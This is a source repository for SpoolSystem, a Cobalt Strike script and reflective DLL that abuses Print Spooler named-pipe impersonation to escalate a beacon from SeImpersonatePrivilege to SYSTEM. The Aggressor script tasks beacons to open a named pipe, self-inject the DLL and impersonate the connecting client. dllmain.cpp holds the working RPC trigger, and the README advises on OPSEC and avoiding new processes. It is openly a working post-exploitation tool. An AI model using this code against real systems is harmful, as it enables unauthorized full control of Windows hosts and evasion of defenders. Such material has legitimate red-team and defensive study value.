├── spoolsystem.gif ├── cna ├── bin │ ├── SpoolTrigger.x64.dll │ └── SpoolTrigger.x86.dll └── spoolsystem.cna ├── Readme.md ├── SpoolTrigger.sln ├── SpoolTrigger ├── SpoolTrigger.vcxproj.filters ├── patch.h ├── ReflectiveDllInjection.h ├── ms-rprn.idl ├── dllmain.cpp ├── ReflectiveLoader.h ├── SpoolTrigger.vcxproj ├── ReflectiveLoader.cpp └── ms-rprn_s.c └── .gitignore /spoolsystem.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rxwx/spoolsystem/HEAD/spoolsystem.gif -------------------------------------------------------------------------------- /cna/bin/SpoolTrigger.x64.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rxwx/spoolsystem/HEAD/cna/bin/SpoolTrigger.x64.dll -------------------------------------------------------------------------------- /cna/bin/SpoolTrigger.x86.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rxwx/spoolsystem/HEAD/cna/bin/SpoolTrigger.x86.dll -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | # SpoolSystem 2 | 3 | SpoolSystem is a CNA script for Cobalt Strike which uses @itm4n's Print Spooler named pipe impersonation trick to gain SYSTEM privileges without creating any new process or relying on cross-process shellcode injection (if the `selfinject` method is used). 4 | 5 | ## Running 6 | 7 | The script supports two modes: 8 | 9 | * selfinject: this is the one you probably want to use. It triggers the spoolss RPC method via self-injection within the current process. This is the best option for OPSEC, but ideally should be done in a process you don't mind crashing (just incase). 10 | * spawn: this uses `bdllspawn` to trigger the spoolss RPC method, so launches another process (not as good for OPSEC) 11 | 12 | Both modes allow a user with only `SeImpersonatePrivilege` to gain SYSTEM privileges within the current beacon session. This is useful if you have a privilege escalation that gives you `LOCAL SERVICE`, `NETWORK SERVICE` or similar, or for cases where `SeDebugPrivilege` has been removed. However it can also be used as a drop-in replacement for `getsystem`. 13 | 14 | ## Example 15 | 16 | ![example](spoolsystem.gif) 17 | 18 | ## References 19 | 20 | * https://github.com/itm4n/PrintSpoofer 21 | * https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/ 22 | * https://github.com/leechristensen/SpoolSample 23 | -------------------------------------------------------------------------------- /SpoolTrigger.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29709.97 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SpoolTrigger", "SpoolTrigger\SpoolTrigger.vcxproj", "{80A14EC7-7999-4828-8C48-13CDA7853E29}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {80A14EC7-7999-4828-8C48-13CDA7853E29}.Debug|x64.ActiveCfg = Debug|x64 17 | {80A14EC7-7999-4828-8C48-13CDA7853E29}.Debug|x64.Build.0 = Debug|x64 18 | {80A14EC7-7999-4828-8C48-13CDA7853E29}.Debug|x86.ActiveCfg = Debug|Win32 19 | {80A14EC7-7999-4828-8C48-13CDA7853E29}.Debug|x86.Build.0 = Debug|Win32 20 | {80A14EC7-7999-4828-8C48-13CDA7853E29}.Release|x64.ActiveCfg = Release|x64 21 | {80A14EC7-7999-4828-8C48-13CDA7853E29}.Release|x64.Build.0 = Release|x64 22 | {80A14EC7-7999-4828-8C48-13CDA7853E29}.Release|x86.ActiveCfg = Release|Win32 23 | {80A14EC7-7999-4828-8C48-13CDA7853E29}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {8623D52A-9314-4C3F-9B7D-538D9B813931} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /SpoolTrigger/SpoolTrigger.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | Header Files 29 | 30 | 31 | 32 | 33 | Source Files 34 | 35 | 36 | Source Files 37 | 38 | 39 | Source Files 40 | 41 | 42 | 43 | 44 | Source Files 45 | 46 | 47 | -------------------------------------------------------------------------------- /SpoolTrigger/patch.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | volatile char patchme[1024] = "PATCHME\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"; -------------------------------------------------------------------------------- /SpoolTrigger/ReflectiveDllInjection.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | 34 | // we declare some common stuff in here... 35 | 36 | #define DLL_QUERY_HMODULE 6 37 | 38 | #define DEREF( name )*(UINT_PTR *)(name) 39 | #define DEREF_64( name )*(DWORD64 *)(name) 40 | #define DEREF_32( name )*(DWORD *)(name) 41 | #define DEREF_16( name )*(WORD *)(name) 42 | #define DEREF_8( name )*(BYTE *)(name) 43 | 44 | typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID); 45 | typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID); 46 | 47 | #define DLLEXPORT __declspec( dllexport ) 48 | 49 | //===============================================================================================// 50 | #endif 51 | //===============================================================================================// 52 | -------------------------------------------------------------------------------- /cna/spoolsystem.cna: -------------------------------------------------------------------------------- 1 | import common.CommonUtils; 2 | import beacon.CommandBuilder; 3 | import common.ReflectiveDLL; 4 | 5 | sub SpoolTrigger { 6 | local('$bid $pipename $spawn $offset $padding $patched $dllbytes $file $builder $pid $pipenameW'); 7 | $bid = $1; 8 | $pipename = $2; 9 | $method = $3; 10 | 11 | if ($method eq "spawn") { 12 | # this is to avoid cross-arch injection where possible 13 | if(binfo($bid, 'barch') eq 'x64') { 14 | bdllspawn($1, script_resource("bin/SpoolTrigger.x64.dll"), $pipename, "spooltrigger", 5000, true); 15 | } 16 | else { 17 | bdllspawn($1, script_resource("bin/SpoolTrigger.x86.dll"), $pipename, "spooltrigger", 5000, true); 18 | } 19 | } 20 | else { 21 | # patch and self-inject.. 22 | # first we need to patch up our arguments 23 | # we use internal APIs since bdllinject wants a filepath not bytes 24 | if(binfo($bid, 'barch') eq 'x64') { 25 | $file = script_resource("bin/SpoolTrigger.x64.dll"); 26 | } 27 | else { 28 | $file = script_resource("bin/SpoolTrigger.x86.dll"); 29 | } 30 | 31 | $dllbytes = [CommonUtils readFile: $file]; 32 | $padding = [CommonUtils garbage: "PATCHME"]; 33 | $patched = [CommonUtils patch: $dllbytes, "PATCHME", $padding . $pipename]; 34 | $offset = [ReflectiveDLL findReflectiveLoader: $dllbytes]; 35 | 36 | if($offset <= 0) { 37 | berror($1, "Could not find ReflectiveLoader"); 38 | return; 39 | } 40 | 41 | $pid = binfo($bid, 'pid'); 42 | blog($bid, "Injecting spooltrigger into PID: " . $pid); 43 | $builder = [new CommandBuilder]; 44 | if ([ReflectiveDLL is64: $dllbytes]) { 45 | [$builder setCommand: 43]; 46 | } else { 47 | [$builder setCommand: 9]; 48 | } 49 | [$builder addInteger: parseNumber($pid)]; 50 | [$builder addInteger: $offset]; 51 | [$builder addString: [CommonUtils bString: $patched]]; 52 | call("beacons.task", $null, $bid, cast([$builder build], 'b')); 53 | } 54 | } 55 | 56 | sub SpoolSystem { 57 | local('$mypipe $pipename $builder') 58 | # needed for ImpersonateNamedPipeClient 59 | btask($1, "Tasked beacon to get SYSTEM via spoolss", "T1134"); 60 | bgetprivs($1, "SeImpersonatePrivilege"); 61 | 62 | # fire up a named pipe: (you probably want to rename this) 63 | $mypipe = [CommonUtils garbage: "spooltrigger"]; 64 | $pipename = "\\\\.\\pipe\\" . $mypipe . "\\pipe\\spoolss"; 65 | $builder = [new CommandBuilder]; 66 | [$builder setCommand: 60]; 67 | [$builder addString: $pipename]; 68 | call("beacons.task", $null, $1, cast([$builder build], 'b')); 69 | 70 | # trigger spoolss 71 | SpoolTrigger($1, $mypipe, $2); 72 | 73 | # impersonate the named pipe client 74 | [$builder setCommand: 61]; 75 | call("beacons.task", $null, $1, cast([$builder build], 'b')); 76 | } 77 | 78 | beacon_command_register("spoolsystem", "Gets SYSTEM via spoolss", 79 | "Uses named pipe impersonation to gain SYSTEM via Print Spooler.\n\n" . 80 | "Use: spoolsystem \n\n" . 81 | "Example: spoolsystem selfinject\n" . 82 | "Example: spoolsystem spawn" ); 83 | 84 | alias spoolsystem { 85 | local('$args'); 86 | $args = substr($0, strlen("spoolsystem ")); 87 | 88 | if ($args eq "") { 89 | berror($1, "Please specify an execution method."); 90 | return; 91 | } 92 | SpoolSystem($1, $args); 93 | } -------------------------------------------------------------------------------- /SpoolTrigger/ms-rprn.idl: -------------------------------------------------------------------------------- 1 | // https://github.com/leechristensen/SpoolSample/blob/master/MS-RPRN/ms-rprn.idl 2 | // [MS-RPRN] interface 3 | [ 4 | uuid(12345678-1234-ABCD-EF00-0123456789AB), 5 | version(1.0), 6 | ms_union, 7 | endpoint("ncacn_np:[\\pipe\\spoolss]"), 8 | pointer_default(unique) 9 | ] 10 | 11 | interface winspool { 12 | 13 | import "oaidl.idl"; 14 | 15 | #if __midl < 700 16 | #define disable_consistency_check 17 | #endif 18 | // [MS-RPRN] common info container structures 19 | typedef struct _DEVMODE_CONTAINER { 20 | DWORD cbBuf; 21 | [size_is(cbBuf), unique] BYTE* pDevMode; 22 | } DEVMODE_CONTAINER; 23 | 24 | typedef struct _RPC_V2_NOTIFY_OPTIONS_TYPE { 25 | unsigned short Type; 26 | unsigned short Reserved0; 27 | DWORD Reserved1; 28 | DWORD Reserved2; 29 | DWORD Count; 30 | [size_is(Count), unique] unsigned short* pFields; 31 | } RPC_V2_NOTIFY_OPTIONS_TYPE; 32 | 33 | typedef struct _RPC_V2_NOTIFY_OPTIONS { 34 | DWORD Version; 35 | DWORD Reserved; 36 | DWORD Count; 37 | [size_is(Count), unique] RPC_V2_NOTIFY_OPTIONS_TYPE* pTypes; 38 | } RPC_V2_NOTIFY_OPTIONS; 39 | 40 | // [MS-RPRN] common data types 41 | typedef unsigned short LANGID; 42 | typedef [context_handle] void* GDI_HANDLE; 43 | typedef [context_handle] void* PRINTER_HANDLE; 44 | typedef [handle] wchar_t* STRING_HANDLE; 45 | 46 | // [MS-RPRN] methods 47 | DWORD RpcEnumPrinters(); 48 | DWORD RpcOpenPrinter( 49 | [in, string, unique] STRING_HANDLE pPrinterName, 50 | [out] PRINTER_HANDLE* pHandle, 51 | [in, string, unique] wchar_t* pDatatype, 52 | [in] DEVMODE_CONTAINER* pDevModeContainer, 53 | [in] DWORD AccessRequired 54 | ); 55 | DWORD RpcSetJob(); 56 | DWORD RpcGetJob(); 57 | DWORD RpcEnumJobs(); 58 | DWORD RpcAddPrinter(); 59 | DWORD RpcDeletePrinter(); 60 | DWORD RpcSetPrinter(); 61 | DWORD RpcGetPrinter(); 62 | DWORD RpcAddPrinterDriver(); 63 | DWORD RpcEnumPrinterDrivers(); 64 | DWORD RpcGetPrinterDriver(); 65 | DWORD RpcGetPrinterDriverDirectory(); 66 | DWORD RpcDeletePrinterDriver(); 67 | DWORD RpcAddPrintProcessor(); 68 | DWORD RpcEnumPrintProcessors(); 69 | DWORD RpcGetPrintProcessorDirectory(); 70 | DWORD RpcStartDocPrinter(); 71 | DWORD RpcStartPagePrinter(); 72 | DWORD RpcWritePrinter(); 73 | DWORD RpcEndPagePrinter(); 74 | DWORD RpcAbortPrinter(); 75 | DWORD RpcReadPrinter(); 76 | DWORD RpcEndDocPrinter(); 77 | DWORD RpcAddJob(); 78 | DWORD RpcScheduleJob(); 79 | DWORD RpcGetPrinterData(); 80 | DWORD RpcSetPrinterData(); 81 | DWORD RpcWaitForPrinterChange(); 82 | DWORD RpcClosePrinter( 83 | [in, out] PRINTER_HANDLE* phPrinter 84 | ); 85 | DWORD RpcAddForm(); 86 | DWORD RpcDeleteForm(); 87 | DWORD RpcGetForm(); 88 | DWORD RpcSetForm(); 89 | DWORD RpcEnumForms(); 90 | DWORD RpcEnumPorts(); 91 | DWORD RpcEnumMonitors(); 92 | void Opnum37NotUsedOnWire(); 93 | void Opnum38NotUsedOnWire(); 94 | DWORD RpcDeletePort(); 95 | DWORD RpcCreatePrinterIC(); 96 | DWORD RpcPlayGdiScriptOnPrinterIC(); 97 | DWORD RpcDeletePrinterIC(); 98 | void Opnum43NotUsedOnWire(); 99 | void Opnum44NotUsedOnWire(); 100 | void Opnum45NotUsedOnWire(); 101 | DWORD RpcAddMonitor(); 102 | DWORD RpcDeleteMonitor(); 103 | DWORD RpcDeletePrintProcessor(); 104 | void Opnum49NotUsedOnWire(); 105 | void Opnum50NotUsedOnWire(); 106 | DWORD RpcEnumPrintProcessorDatatypes(); 107 | DWORD RpcResetPrinter(); 108 | DWORD RpcGetPrinterDriver2(); 109 | void Opnum54NotUsedOnWire(); 110 | void Opnum55NotUsedOnWire(); 111 | DWORD RpcFindClosePrinterChangeNotification(); 112 | void Opnum57NotUsedOnWire(); 113 | DWORD RpcReplyOpenPrinter(); 114 | DWORD RpcRouterReplyPrinter(); 115 | DWORD RpcReplyClosePrinter(); 116 | DWORD RpcAddPortEx(); 117 | DWORD RpcRemoteFindFirstPrinterChangeNotification(); 118 | void Opnum63NotUsedOnWire(); 119 | void Opnum64NotUsedOnWire(); 120 | DWORD RpcRemoteFindFirstPrinterChangeNotificationEx( 121 | [in] PRINTER_HANDLE hPrinter, 122 | [in] DWORD fdwFlags, 123 | [in] DWORD fdwOptions, 124 | [in, string, unique] wchar_t* pszLocalMachine, 125 | [in] DWORD dwPrinterLocal, 126 | [in, unique] RPC_V2_NOTIFY_OPTIONS* pOptions 127 | ); 128 | } -------------------------------------------------------------------------------- /SpoolTrigger/dllmain.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "ms-rprn_h.h" 5 | #include "ReflectiveLoader.h" 6 | #include "patch.h" 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | #pragma comment(lib, "rpcrt4.lib") 13 | 14 | extern HINSTANCE hAppInstance; 15 | 16 | // https://github.com/itm4n/PrintSpoofer/blob/master/PrintSpoofer/PrintSpoofer.cpp 17 | DWORD WINAPI TriggerNamedPipeConnection(LPWSTR lpParam) 18 | { 19 | HRESULT hr = NULL; 20 | PRINTER_HANDLE hPrinter = NULL; 21 | DEVMODE_CONTAINER devmodeContainer = { 0 }; 22 | 23 | LPWSTR pwszComputerName = NULL; 24 | DWORD dwComputerNameLen = MAX_COMPUTERNAME_LENGTH + 1; 25 | 26 | LPWSTR pwszTargetServer = NULL; 27 | LPWSTR pwszCaptureServer = NULL; 28 | 29 | LPWSTR pwszPipeName = lpParam; 30 | 31 | pwszComputerName = (LPWSTR)malloc(dwComputerNameLen * sizeof(WCHAR)); 32 | if (!pwszComputerName) 33 | goto cleanup; 34 | 35 | if (!GetComputerName(pwszComputerName, &dwComputerNameLen)) 36 | goto cleanup; 37 | 38 | pwszTargetServer = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR)); 39 | if (!pwszTargetServer) 40 | goto cleanup; 41 | 42 | pwszCaptureServer = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR)); 43 | if (!pwszCaptureServer) 44 | goto cleanup; 45 | 46 | StringCchPrintf(pwszTargetServer, MAX_PATH, L"\\\\%ws", pwszComputerName); 47 | StringCchPrintf(pwszCaptureServer, MAX_PATH, L"\\\\%ws/pipe/%ws", pwszComputerName, pwszPipeName); 48 | 49 | RpcTryExcept 50 | { 51 | if (RpcOpenPrinter(pwszTargetServer, &hPrinter, NULL, &devmodeContainer, 0) == RPC_S_OK) 52 | { 53 | RpcRemoteFindFirstPrinterChangeNotificationEx(hPrinter, PRINTER_CHANGE_ADD_JOB, 0, pwszCaptureServer, 0, NULL); 54 | RpcClosePrinter(&hPrinter); 55 | wprintf(L"[+] Triggered named pipe connection to %ls\n", pwszCaptureServer); 56 | } 57 | } 58 | RpcExcept(EXCEPTION_EXECUTE_HANDLER); 59 | { 60 | // Expect RPC_S_SERVER_UNAVAILABLE 61 | } 62 | RpcEndExcept; 63 | 64 | cleanup: 65 | if (pwszComputerName) 66 | free(pwszComputerName); 67 | if (pwszTargetServer) 68 | free(pwszTargetServer); 69 | if (pwszCaptureServer) 70 | free(pwszCaptureServer); 71 | if (hPrinter) 72 | RpcClosePrinter(&hPrinter); 73 | 74 | return 0; 75 | } 76 | 77 | handle_t __RPC_USER STRING_HANDLE_bind(STRING_HANDLE lpStr) 78 | { 79 | RPC_STATUS RpcStatus; 80 | RPC_WSTR StringBinding; 81 | handle_t BindingHandle; 82 | 83 | if (RpcStringBindingComposeW((RPC_WSTR)L"12345678-1234-ABCD-EF00-0123456789AB", (RPC_WSTR)L"ncacn_np", (RPC_WSTR)lpStr, (RPC_WSTR)L"\\pipe\\spoolss", NULL, &StringBinding) != RPC_S_OK) 84 | return NULL; 85 | 86 | RpcStatus = RpcBindingFromStringBindingW(StringBinding, &BindingHandle); 87 | 88 | RpcStringFreeW(&StringBinding); 89 | 90 | if (RpcStatus != RPC_S_OK) 91 | return NULL; 92 | 93 | return BindingHandle; 94 | } 95 | 96 | void __RPC_USER STRING_HANDLE_unbind(STRING_HANDLE lpStr, handle_t BindingHandle) 97 | { 98 | RpcBindingFree(&BindingHandle); 99 | } 100 | 101 | void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes) 102 | { 103 | return((void __RPC_FAR*) malloc(cBytes)); 104 | } 105 | 106 | void __RPC_USER midl_user_free(void __RPC_FAR* p) 107 | { 108 | free(p); 109 | } 110 | 111 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) 112 | { 113 | BOOL bReturnValue = TRUE; 114 | LPWSTR pwszParams = NULL; 115 | size_t convertedChars = 0; 116 | size_t newsize = 0; 117 | char* args = NULL; 118 | 119 | switch (dwReason) 120 | { 121 | case DLL_QUERY_HMODULE: 122 | if (lpReserved != NULL) 123 | *(HMODULE*)lpReserved = hAppInstance; 124 | break; 125 | case DLL_PROCESS_ATTACH: 126 | hAppInstance = hinstDLL; 127 | if (lpReserved != NULL) { 128 | // Process arguments 129 | pwszParams = (LPWSTR)calloc(strlen((LPSTR)lpReserved) + 1, sizeof(WCHAR)); 130 | newsize = strlen((LPSTR)lpReserved) + 1; 131 | mbstowcs_s(&convertedChars, pwszParams, newsize, (LPSTR)lpReserved, _TRUNCATE); 132 | TriggerNamedPipeConnection(pwszParams); 133 | fflush(stdout); 134 | ExitProcess(0); 135 | } 136 | else { 137 | args = (char*)patchme + 7; 138 | if (args[0] != '\0') { 139 | // Load from patched args 140 | pwszParams = (LPWSTR)calloc(strlen((LPSTR)args) + 1, sizeof(WCHAR)); 141 | newsize = strlen((LPSTR)args) + 1; 142 | mbstowcs_s(&convertedChars, pwszParams, newsize, (LPSTR)args, _TRUNCATE); 143 | TriggerNamedPipeConnection(pwszParams); 144 | } 145 | } 146 | break; 147 | case DLL_PROCESS_DETACH: 148 | case DLL_THREAD_ATTACH: 149 | case DLL_THREAD_DETACH: 150 | break; 151 | } 152 | return bReturnValue; 153 | } 154 | 155 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Build results 17 | [Dd]ebug/ 18 | [Dd]ebugPublic/ 19 | [Rr]elease/ 20 | [Rr]eleases/ 21 | x64/ 22 | x86/ 23 | [Aa][Rr][Mm]/ 24 | [Aa][Rr][Mm]64/ 25 | bld/ 26 | [Bb]in/ 27 | [Oo]bj/ 28 | [Ll]og/ 29 | 30 | # Visual Studio 2015/2017 cache/options directory 31 | .vs/ 32 | # Uncomment if you have tasks that create the project's static files in wwwroot 33 | #wwwroot/ 34 | 35 | # Visual Studio 2017 auto generated files 36 | Generated\ Files/ 37 | 38 | # MSTest test Results 39 | [Tt]est[Rr]esult*/ 40 | [Bb]uild[Ll]og.* 41 | 42 | # NUNIT 43 | *.VisualState.xml 44 | TestResult.xml 45 | 46 | # Build Results of an ATL Project 47 | [Dd]ebugPS/ 48 | [Rr]eleasePS/ 49 | dlldata.c 50 | 51 | # Benchmark Results 52 | BenchmarkDotNet.Artifacts/ 53 | 54 | # .NET Core 55 | project.lock.json 56 | project.fragment.lock.json 57 | artifacts/ 58 | 59 | # StyleCop 60 | StyleCopReport.xml 61 | 62 | # Files built by Visual Studio 63 | *_i.c 64 | *_p.c 65 | *_h.h 66 | *.ilk 67 | *.meta 68 | *.obj 69 | *.iobj 70 | *.pch 71 | *.pdb 72 | *.ipdb 73 | *.pgc 74 | *.pgd 75 | *.rsp 76 | *.sbr 77 | *.tlb 78 | *.tli 79 | *.tlh 80 | *.tmp 81 | *.tmp_proj 82 | *_wpftmp.csproj 83 | *.log 84 | *.vspscc 85 | *.vssscc 86 | .builds 87 | *.pidb 88 | *.svclog 89 | *.scc 90 | 91 | # Chutzpah Test files 92 | _Chutzpah* 93 | 94 | # Visual C++ cache files 95 | ipch/ 96 | *.aps 97 | *.ncb 98 | *.opendb 99 | *.opensdf 100 | *.sdf 101 | *.cachefile 102 | *.VC.db 103 | *.VC.VC.opendb 104 | 105 | # Visual Studio profiler 106 | *.psess 107 | *.vsp 108 | *.vspx 109 | *.sap 110 | 111 | # Visual Studio Trace Files 112 | *.e2e 113 | 114 | # TFS 2012 Local Workspace 115 | $tf/ 116 | 117 | # Guidance Automation Toolkit 118 | *.gpState 119 | 120 | # ReSharper is a .NET coding add-in 121 | _ReSharper*/ 122 | *.[Rr]e[Ss]harper 123 | *.DotSettings.user 124 | 125 | # JustCode is a .NET coding add-in 126 | .JustCode 127 | 128 | # TeamCity is a build add-in 129 | _TeamCity* 130 | 131 | # DotCover is a Code Coverage Tool 132 | *.dotCover 133 | 134 | # AxoCover is a Code Coverage Tool 135 | .axoCover/* 136 | !.axoCover/settings.json 137 | 138 | # Visual Studio code coverage results 139 | *.coverage 140 | *.coveragexml 141 | 142 | # NCrunch 143 | _NCrunch_* 144 | .*crunch*.local.xml 145 | nCrunchTemp_* 146 | 147 | # MightyMoose 148 | *.mm.* 149 | AutoTest.Net/ 150 | 151 | # Web workbench (sass) 152 | .sass-cache/ 153 | 154 | # Installshield output folder 155 | [Ee]xpress/ 156 | 157 | # DocProject is a documentation generator add-in 158 | DocProject/buildhelp/ 159 | DocProject/Help/*.HxT 160 | DocProject/Help/*.HxC 161 | DocProject/Help/*.hhc 162 | DocProject/Help/*.hhk 163 | DocProject/Help/*.hhp 164 | DocProject/Help/Html2 165 | DocProject/Help/html 166 | 167 | # 